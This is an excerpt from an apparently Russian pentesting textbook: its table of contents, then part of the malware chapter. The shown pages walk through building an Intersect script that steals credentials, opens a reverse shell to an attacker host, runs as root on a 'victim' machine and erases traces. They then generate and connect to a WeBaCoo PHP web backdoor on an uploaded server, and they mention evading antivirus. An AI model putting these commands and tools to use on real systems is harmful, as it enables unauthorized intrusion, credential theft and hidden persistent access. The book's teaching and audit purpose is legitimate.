- •Благодарности
- •Список использованных сокращений
- •От издательства
- •Введение
- •Глава 1. Начало
- •Как провести аудит законно?
- •Методология взлома
- •Резюме
- •Глава 2. Получение информации из открытых источников
- •Введение
- •Что искать?
- •Использование Google для сбора информации
- •Ограничение поиска одним сайтом
- •Поиск файлов определенного типа
- •Поиск определенных частей сайта
- •Google Hacking
- •Поиск информации о людях
- •Архивные данные
- •Netcraft
- •Получение информации о домене
- •Автоматизация процесса
- •FOCA
- •Сбор базы данных адресов e-mail
- •recon-ng
- •Упорядочить информацию
- •Резюме
- •Глава 3. Получение информации от сетевых сервисов
- •Введение
- •Сканирование портов
- •Определение активных хостов
- •UDP-сканирование
- •NMAP
- •Получение информации от DNS-сервера
- •Типы записей
- •Взаимодействие с DNS-сервером
- •MX-записи
- •NS-запросы
- •Перебор имен
- •Перебор обратных записей
- •Передача зоны DNS
- •Получение информации с использованием SNMP
- •Получение информации с использованием NetBIOS
- •Null session
- •Работа с электронной почтой
- •Анализ баннеров
- •Получение информации от NTP-сервера
- •Поиск уязвимостей
- •Резюме
- •Глава 4. Атаки на веб-приложения
- •Знакомство с сookie
- •Межсайтовый скриптинг (XSS)
- •Включение локальных или удаленных файлов
- •SQL-инъекции
- •Резюме
- •Глава 5. Социальная инженерия
- •На кого обратить внимание?
- •Фазы атаки
- •Манипулирование людьми
- •Типы атак
- •Social-Engineer Toolkit
- •Резюме
- •Глава 6. Получаем пароли
- •Основные методы
- •Работа со списками паролей
- •Онлайн-атаки
- •Радужные таблицы
- •Резюме
- •Глава 7. Беспроводные сети
- •Краткий обзор Wi-Fi
- •Bluetooth
- •Резюме
- •Глава 8. Перехват информации
- •Пассивный перехват трафика
- •Активный перехват
- •Резюме
- •Глава 9. Обход систем безопасности
- •Системы обнаружения атак
- •Брандмауэры
- •Приманки
- •Резюме
- •Глава 10. Вредоносные программы
- •Вирусы
- •Черви
- •Шпионы
- •Рекламное ПО
- •Троянские кони
- •Практическая часть
- •Резюме
- •Глава 11. Metasploit Framework
- •Интерфейс
- •Вспомогательные модули
- •Полезная нагрузка
- •Практические навыки
- •Резюме
- •Глава 12. Передача файлов
- •TFTP
- •Загрузка файлов с использованием скриптов
- •Резюме
- •Глава 13. Превышение привилегий
- •Локальное повышение прав в Linux
- •Локальное повышение прав в Windows
- •Повышение привилегий в случае некорректной конфигурации прав доступа
- •Резюме
- •Глава 14. Перенаправление портов и туннелирование
- •Перенаправление портов
- •SSH-туннелирование
- •proxychains
- •Резюме
- •Глава 15. Переполнение буфера
- •Атаки, направленные на переполнение буфера
- •Введение
- •Что такое переполнение буфера?
- •Программы, библиотеки и бинарные файлы
- •Угрозы
- •Основы компьютерной архитектуры
- •Организация памяти
- •Разбиение стека (Smashing the stack)
- •Перезапись указателя фрейма
- •Атака возврата в библиотеку
- •Переполнение динамической области памяти
- •Пример нахождения уязвимости переполнения буфера
- •Резюме
- •Глава 16. Собирая все воедино
- •Стандарт выполнения тестов на проникновение
- •Подготовительная фаза
- •Договор о проведении работ
- •Получение разрешения
- •Сбор данных
- •Анализ уязвимостей
- •Моделирование
- •Эксплуатация уязвимостей
- •Постэксплуатационный этап
- •Отчет
- •Зачистка
- •Введение
- •Глава 17. Личный пример
- •Глава 18. Бумажная работа
- •Политика безопасности
- •Стандарты
- •Процедуры
- •Инструкции
- •Техническая документация
- •Глава 19. Обучение и тренировки
- •Тренировки
- •Глава 20. Защита от утечки информации
- •Глава 21. Брандмауэры
- •Глава 22. Системы обнаружения вторжения (IDS)
- •Глава 23. Виртуальные защищенные сети (VPN)
- •Компоненты виртуальной частной сети
- •Безопасность VPN
- •Создание VPN из компонентов с открытым исходным кодом
- •Заключение
146 Глава 10 • Вредоносные программы
2.Сборщики данных, отправляющие атакующему данные определенного типа, например файлы с хешами паролей.
3.Прокси, превращающие компьютер жертвы в промежуточный узел, используемый для коммуникации с другими компьютерами.
4.Файловые серверы, позволяющие хранить на компьютере жертвы любое ПО с целью его распространения на другие компьютеры.
Многие троянские кони используют для своей работы одни и те же порты, поэтому выявить их можно любым сканером портов, например Nmap. После того как в сети найдена зараженная троянским конем машина, к нему можно подключиться и использовать его для своих целей.
Ниже мы приведем названия некоторых троянских коней и диапазон портов, которые они используют для коммуникации:
Back Orifice — UDP 31337 или 31338;NetBus — TCP 12345 и 12346;Reachout — TCP 43188;Timbuktu — TCP/UDP 407.
Практическая часть
Теперь, когда мы разобрали все в теории, перейдем к практической части. В данном разделе мы не будем рассматривать создание вируса или троянского коня с нуля. Это потребует углубленного знания какого-либо языка программирования. Остановимся на конструкторах, которые позволяют создать такое ПО без навыков программирования.
Следует подчеркнуть, что хотя это и самый простой способ, однако не самый надежный. Конструкторы обладают большими возможностями, но при этом ограничивают нас конечным набором функций. К тому же они создают достаточно стандартный код, который научились определять многие антивирусы. Впрочем, от этого недостатка можно избавиться, и чуть позже мы покажем вам как.
Первый конструктор, который мы рассмотрим, — Intersect. Основное его применение — автоматизация сбора данных на скомпрометированном компьютере. Предположим, что вы получили доступ к командной строке. После этого, используя Intersect и создав с его помощью скрипт, вы сможете быстро собрать данные о пользователях, скопировать SSH-ключи, собрать информацию о сети, установить постоянную обратную связь и многое другое.
Продемонстрируем его работу. Для начала запустим netcat, который будет принимать данные на порт 4444.
root@kali:~# nc -l -p 444
Практическая часть 147
Теперь запустим Intersect и определим доступные модули.
Intersect 2.5 — Script Creation Utility |
|
|
|||||||
------------------------------------------ |
|
|
|||||||
1 |
=> Create Custom Script |
|
|
|
|
||||
2 |
=> List Available Modules |
|
|
|
|
||||
3 |
=> Load Plugin Module |
|
|
|
|
|
|||
4 |
=> Exit Creation Utility |
|
|
|
|
||||
|
=> |
2 |
|
|
|
|
|
|
|
Intersect 2.5 — Script Creation Utility |
|
|
|||||||
------- |
|
|
List of Intersect Modules -------- |
|
|
|
|||
Standard |
Modules: |
|
|
|
|
|
|
||
archive |
creds |
extras |
network |
reversexor |
scrub |
|
|||
bshell |
daemon |
lanmap |
osuser |
rshell |
xorshell |
||||
Custom Modules: |
|
|
|
|
|
|
|||
aeshttp |
getrepos |
openshares |
portscan |
sniff |
webproxy xmpp |
||||
egressbuster icmpshell |
persistent |
privesc |
udpbind |
xmlcrack |
|||||
------------------------------------------- |
|
|
|||||||
|
1 => Return to main menu. |
|
|
|
|
||||
|
=> |
1 |
|
|
|
|
|
|
|
Получим больше информации об интересующем нас модуле.
=> :info rshell
Description: Opens a reverse TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution.
Author: ohdae [bindshell@live.com]
=> :quit
Создадим собственный скрипт.
Intersect 2.5 — Script Creation Utility
------------------------------------------
1 => Create Custom Script
2 => List Available Modules
3 => Load Plugin Module
4 => Exit Creation Utility
=> 1
Intersect 2.0 — Script Generation Utility
---------- Create Custom Script -----------
148 Глава 10 • Вредоносные программы
Instructions:
Use the console below to create your custom Intersect script. Type the modules you wish to add, pressing [enter] after each module. Example:
=> creds => network
When you have entered all your desired modules
into the queue, start the build process by typing :create.
** To view a full list of all available commands type :help. The command :quit will return you to the main menu.
=> creds
creds added to queue.
=> rshell
rshell added to queue.
=> network
network added to queue.
=> scrub
scrub added to queue.
=> osuser
osuser added to queue. => :active
Modules you have selected:
['creds', 'rshell', 'network', 'scrub', 'osuser'] => :create
Введем необходимую информацию.
[ Set Options ]
If any of these options don't apply to you, press [enter] to skip.
Enter a name for your Intersect script. The finished script will be placed in the Scripts directory. Do not include Python file extension.
=> testis
Script will be saved as /usr/share/intersect/Scripts/testis.py
Specify the directory on the target system where the gathered files and information will be saved to.
*Important* This should be a NEW directory. When exiting Intersect, this directory will be deleted if it contains no files.
If you skip this option, the default (/tmp/lift+$randomstring) will be used. temp directory => /tmp/isect
enable logging => bind port =>
[+] bind port saved.
remote host => 192.168.225.128
Практическая часть 149
[+]remote host saved. remote port => 4444
[+]remote port saved. proxy port =>
xor cipher key => creds
rshell network scrub osuser
[+]Your custom Intersect script has been created! Location: /usr/share/intersect/Scripts/testis.py
Запустим наш скрипт на машине жертвы и заставим ее выполнить соединение с нашим компьютером.
root@mint:~#./testis.py --rshell
[!] Reports will be saved in: /tmp/isect
Убедимся в том, что соединение произошло. Мы увидим это в том терминале, в котором был запущен netcat.
root@kali:~# nc -l -p 4444
[+] New connection established! Intersect /tmp/isect => whoami root
Intersect /tmp/isect =>
Теперь рассмотрим ситуацию, когда мы не получили доступа к консоли, однако он нам очень нужен. Все, что мы можем сделать в этом случае, — загрузить файл на сервер, используя уязвимость в веб-приложении.
Создадим веб-приложение, которое поможет нам получить доступ к командной строке.
root@kali:~# webacoo -g -o backdoor.php
WeBaCoo 0.2.3 — Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{@anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }
[+]Backdoor file "backdoor.php" created.
Теперь загрузим его на сервер, к которому мы хотим получить доступ, и подключимся к нашему приложению.
root@kali:~# webacoo -t -u http://www.mycorp.com/backdoor.php
WeBaCoo 0.2.3 — Web Backdoor Cookie Script-Kit Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }